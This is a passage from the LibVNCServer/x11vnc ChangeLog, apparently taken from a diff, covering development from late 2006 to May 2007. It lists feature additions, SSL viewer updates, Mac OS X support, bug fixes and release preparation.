x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc: + Home dir changing, skip enc warning, memory stick doc. + +2007-05-07 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/options.c, + x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c: x11vnc: lower -wait and -defer to 20ms. Drop + client doing ultravnc stuff in -unixpw during login phase. + +2007-05-05 runge + + * x11vnc/README, x11vnc/connections.c, x11vnc/help.c, + x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/unixpw.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/xevents.c: filexfer + warnings and messages. + +2007-05-05 runge + + * configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/user.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: add + groups handling for -users mode. + +2007-05-04 runge + + * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add WAITBG=1 env. + var, add mwm to -create. + +2007-05-01 runge + + * classes/ssl/Makefile.am, classes/ssl/onetimekey, + classes/ssl/ss_vncviewer, x11vnc/ChangeLog, x11vnc/README, + x11vnc/connections.c, x11vnc/help.c, x11vnc/sslhelper.c, + x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: ssl: java viewer patches, onetimekey; x11vnc + setsid/setpgrp and -cc 4 for -create + +2007-04-28 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/sslhelper.c, + x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: + -users sslpeer= option. RFB_SSL_CLIENT_CERT, -ncache 10 default + +2007-04-19 runge + + * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: set to next release + (0.9.1) + +2007-04-19 runge + + * + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: Add latest vncviewer patch. + +2007-04-19 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Sync with + SSVNC 1.0.15 + +2007-04-18 runge + + * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: small changes for 0.9 + release. + +2007-04-08 runge + + * prepare_x11vnc_dist.sh: change x11vnc version to 0.9 + +2007-04-07 dscho + + * configure.ac: prepare for release of LibVNCServer 0.9 + +2007-04-07 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/ssltools.h, x11vnc/user.c, x11vnc/userinput.c, + x11vnc/x11vnc.1: x11vnc: add gnome, kde, etc. FINDCREATEDISPLAY + tags. + +2007-04-07 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: update + viewer jars and ss script + +2007-04-07 runge + + * x11vnc/README, x11vnc/connections.c, x11vnc/help.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/v4l.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: java + ingoreProxy, fix old libssl free_func problem + +2007-04-06 dscho + + * AUTHORS, ChangeLog, rfb/rfbclient.h: rfbclient.h: use 'extern "C"' + to make it convenient to include from C++ + +2007-04-06 dscho + + * AUTHORS, ChangeLog, rfb/rfb.h: rfb.h: Do not misplace guards This buglet made it impossible to double include rfb.h from C++. + +2007-03-30 dscho + + * prepare_x11vnc_dist.sh: build x11vnc with static libraries (at + least for now) Maybe at a later stage, we want x11vnc to pick up on existing + libvncserver.so and libvncclient.so, but right now, x11vnc and the + libraries progress together (and thus it is better to build static, + necessarily up-to-date libraries for x11vnc). + +2007-03-30 dscho + + * AUTHORS, ChangeLog, acinclude.m4, client_examples/Makefile.am, + configure.ac, contrib/Makefile.am, examples/Makefile.am, + libvncclient/Makefile.am, libvncserver/Makefile.am, ltmain.sh, + test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: Build + shared libraries per default Thanks to Guillaume Rousse, we now use libtool to build shared + libraries. + +2007-03-25 runge + + * x11vnc/README, x11vnc/pm.c, x11vnc/scan.c, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/xevents.c: x11vnc: remove build errors, + get -ncache working on macosx again. + +2007-03-24 runge + + * libvncserver/cursor.c: Fix short vs. char problem with X cursors. + Have fg == bg == 0 imply interpolation to B&W. + +2007-03-24 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: reverse + connections for ss_vncviewer. java one-time-keys. + +2007-03-24 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c, + x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: reverse SSL connections. -sleepin + option. + +2007-03-24 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: reverse (listening) VNC connections. + +2007-03-20 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: ssvnc: sync to 1.0.13 release. + +2007-03-20 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, + x11vnc/sslhelper.c, x11vnc/user.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -httpsredir, + x11cursor fix, nc=N login opt, no -ncache betatest for java viewer. + +2007-03-20 runge + + * ChangeLog, libvncserver/httpd.c: Add "Connection: close" to HTTP + replies. + +2007-03-17 dscho + + * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: + Fix a locking problem in libvncserver There seems to be a locking problem in libvncserver, with respect to + how condition variables are used. On certain machines in our lab, when using a vncviewer to view a + display that has a very high rate of updates, we will occasionally + see the VNC server process crash. In one stack trace that was + obtained, an assertion had tripped in glibc's pthread_cond_wait, + which was called from clientOutput. Inspection of clientOutput suggests that WAIT is being called + incorrectly. The mutex that protects a condition variable should + always be locked when calling wait, and on return from the wait will + still be locked. The attached patch fixes the locking around this + condition variable, and one other that I found by grepping the + source for similar occurrences. Signed-off-by: Charles Coffing + +2007-03-13 runge + + * + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: ssvnc: sync src/patches/tight-vncviewer-full.patch + +2007-03-13 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c, + x11vnc/screen.c, x11vnc/solid.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: fix crash for kde dcop. limit ncache + beta tester to 96MB viewers. + +2007-02-19 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: ssvnc: more fixes for painting problems. + +2007-02-19 runge + + * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: fix -users bob= in -inetd mode. + +2007-02-19 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: store 1.0.12 snapshot. + +2007-02-19 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: Get + ultravnc textchat working with ssvnc. + +2007-02-17 runge + + * x11vnc/README, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1: + x11vnc: make https fetch in accept_openssl() work again. + +2007-02-16 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/allowed_input_t.h, + x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/keyboard.h, x11vnc/remote.c, x11vnc/screen.c, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: add + Files mode to user controlled input. more ultra/tight filexfer + tweaks. rfbversion remote control. noncache/nc unixpw user opt. + +2007-02-16 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c, + x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, + x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: + tightvnc filetransfer off by default. FINDCREATEDISPLAY geometry. + +2007-02-12 runge + + * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, + x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/cleanup.c, + x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, + x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, + x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: add avahi (aka + mDNS/Zeroconf/Bonjour...) support thanks to Diego Petteno. add -find + -create + +2007-02-12 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, + x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, + x11vnc/xwrappers.c: x11vnc: -grabalways, -forcedpms, -clientdpms, + -noserverdpms, -loopbg, -svc, -xdmsvc + +2007-02-10 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h, + x11vnc/scan.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, + x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: watch textchat, etc in + unixpw, implement kbdReleaseAllKeys, setSingleWindow, + setServerInput. watch for OpenGL apps breaking XDAMAGE. + +2007-02-05 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: ssvnc 1.0.11 files. + +2007-02-05 runge + + * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: Setup for x11vnc 0.8.5 + +2007-02-01 dscho + + * ChangeLog, libvncclient/rfbproto.c, libvncclient/vncviewer.c, + rfb/rfbclient.h: LibVNCClient: some users do not want to get + whole-screen updates; introduce client->updateRect for that + +2007-02-01 dscho + + * libvncclient/zrle.c: sometimes zrle sends too many bytes; play + safe + +2007-01-31 runge + + * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c, + x11vnc/screen.c, x11vnc/solid.c, x11vnc/userinput.c, + x11vnc/xdamage.c, x11vnc/xevents.c: fix warnings. + +2007-01-31 runge + + * ChangeLog: libvncclient changes. + +2007-01-31 runge + + * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, + x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, + x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, + x11vnc/macosxCG.c, x11vnc/macosxCGS.c, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne + wfbsize.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, + x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/screen.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/ssltools.h, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, + x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, + x11vnc/xevents.c: x11vnc: -reflect, -N. -ncache, FINDDISPLAY, + FINDCREATEDISPLAY, improvements. MODTWEAK_LOWEST workaround. + +2007-01-31 runge + + * Makefile.am, libvncclient/cursor.c, libvncclient/rfbproto.c, + libvncclient/vncviewer.c, prepare_x11vnc_dist.sh, rfb/rfbclient.h: + libvncclient: add GotCursorShape() and GotCopyRect(); x11vnc dep on + libvncclient + +2007-01-25 dscho + + * libvncserver/rfbserver.c: compile fix for MinGW + +2007-01-25 dscho + + * VisualNaCro/Makefile.am: complain when SWIG is not present, but + needed + +2007-01-25 dscho + + * VisualNaCro/configure.ac: Complain if libvncserver-config was not + found in PATH + +2007-01-10 runge + + * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/userinput.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, + x11vnc/xinerama.c, x11vnc/xrandr.h: some -ncache performance + improvements, rootpixmap watching, gnome wm heuristics + +2007-01-09 runge + + * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: Fix old compiler error; fix warnings. + +2007-01-09 runge + + * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, + x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/solid.h, + x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: more speed and accuracy + improvements to -ncache mode. + +2007-01-07 runge + + * x11vnc/README, x11vnc/options.c, x11vnc/userinput.c, + x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: changes to ncache cache + aging and xdamage skipping + +2007-01-04 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/userinput.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xdamage.c: x11vnc: more -ncache improvements. + +2007-01-02 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, + x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: more -ncache + improvements. + +2006-12-29 runge + + * x11vnc/8to24.c, x11vnc/README, x11vnc/cursor.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/pointer.c, x11vnc/screen.c, + x11vnc/selection.c, x11vnc/userinput.c, x11vnc/util.c, + x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc + -ncache on by default for beta test. fix -nofb & -rawfb modes. + +2006-12-28 runge + + * x11vnc/README, x11vnc/userinput.c, x11vnc/win_utils.c: a couple + more warnings... + +2006-12-28 runge + + * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c, + x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c, + x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c, + x11vnc/scan.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c, + x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c, + x11vnc/xevents.c, x11vnc/xrandr.c, x11vnc/xrecord.c, + x11vnc/xwrappers.c: still more compiler warnings; ssvnc 1.0.9 sync. + +2006-12-28 runge + + * x11vnc/8to24.c, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/cursor.c, x11vnc/macosx.c, + x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, + x11vnc/macosxCGP.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, + x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, + x11vnc/uinput.c, x11vnc/userinput.c, x11vnc/v4l.c, + x11vnc/win_utils.c, x11vnc/xevents.c, x11vnc/xwrappers.c: more + compiler warnings cleanup. + +2006-12-28 runge + + * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c, + x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c, + x11vnc/macosxCG.c, x11vnc/pointer.c, x11vnc/scan.c, + x11vnc/screen.c, x11vnc/solid.c, x11vnc/user.c, x11vnc/userinput.c, + x11vnc/userinput.h, x11vnc/win_utils.c, x11vnc/xwrappers.c, + x11vnc/xwrappers.h: x11vnc: clean up compiler warnings. + +2006-12-28 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h, + x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h, + x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/options.c, + x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, + x11vnc/scan.h, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/winattr_t.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, + x11vnc/xwrappers.h: x11vnc: more work on -ncache. + +2006-12-17 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c, + x11vnc/userinput.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: first pass at + client-side caching, -ncache option. + +2006-12-17 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: make -xwarppointer + the default if xinerama is active. + +2006-12-16 runge + + * rfb/rfbproto.h: Move our rfbEncodings numbers out of the TightVNC + range. + +2006-12-15 runge + + * libvncserver/auth.c: fix typo. + +2006-12-13 runge + + * ChangeLog: Remove stray "-permitfiletransfer permit file transfer + support" output + +2006-12-13 runge + + * libvncserver/cargs.c: Remove stray ""-permitfiletransfer permit + file transfer support" output. + +2006-12-11 runge + + * x11vnc/README, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: cleanup some + comments. + +2006-12-10 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd: sync etv 1.0.8 + +2006-12-10 runge + + * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, + x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/gui.c, + x11vnc/help.c, x11vnc/misc/Makefile.am, x11vnc/pointer.c, + x11vnc/screen.c, x11vnc/screen.h, x11vnc/solid.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/v4l.c, + x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: FINDCREATEDISPLAY support to create X + session if one cannot be found. Fix bug in java viewer. + +2006-11-24 runge + + * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/help.c, x11vnc/remote.c, x11vnc/user.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: install ss_vncviewer 755, + -prog option, HTTPONCE new socket for -inetd. + +2006-11-23 runge + + * classes/ssl/Makefile.am, classes/ssl/README: rename to + ss_vncviewer + +2006-11-23 runge + + * classes/ssl/ss_vncviewer, classes/ssl/ssl_vncviewer: rename + ssl_vncviewer to ss_vncviewer + +2006-11-23 runge + + * classes/ssl/ss_vncviewer: rename ssl_vncviewer to ss_vncviewer + +2006-11-22 runge + + * configure.ac: use AC_CHECK_LIB for fbpm and dpms + +2006-11-21 runge + + * configure.ac: enable --without-fbpm and --without-dpms + +2006-11-21 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, + x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h, + x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, + x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/unixpw.c, + x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/win_utils.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, + x11vnc/xwrappers.c: x11vnc: Mac OS X fb fixes and cuttext, -nodpms + option, local user wireframing + +2006-11-21 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README: update to + 1.0.8 and renaming + +2006-11-21 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, + x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc + l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: + delete + +2006-11-21 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl: rename + +2006-11-13 runge + + * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, x11vnc/8to24.c, + x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, + x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, + x11vnc/cursor.h, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/linuxfb.c, x11vnc/macosx.c, x11vnc/macosx.h, + x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, + x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, + x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, + x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/selection.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, + x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, + x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrecord.c, + x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: Native Mac OS X + support. + +2006-11-08 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp + over, + x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc + viewer.sh, + x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, + x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc + l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Add Darwin + stuff. Sync to current 1.0.7 + +2006-11-08 runge + + * ChangeLog, 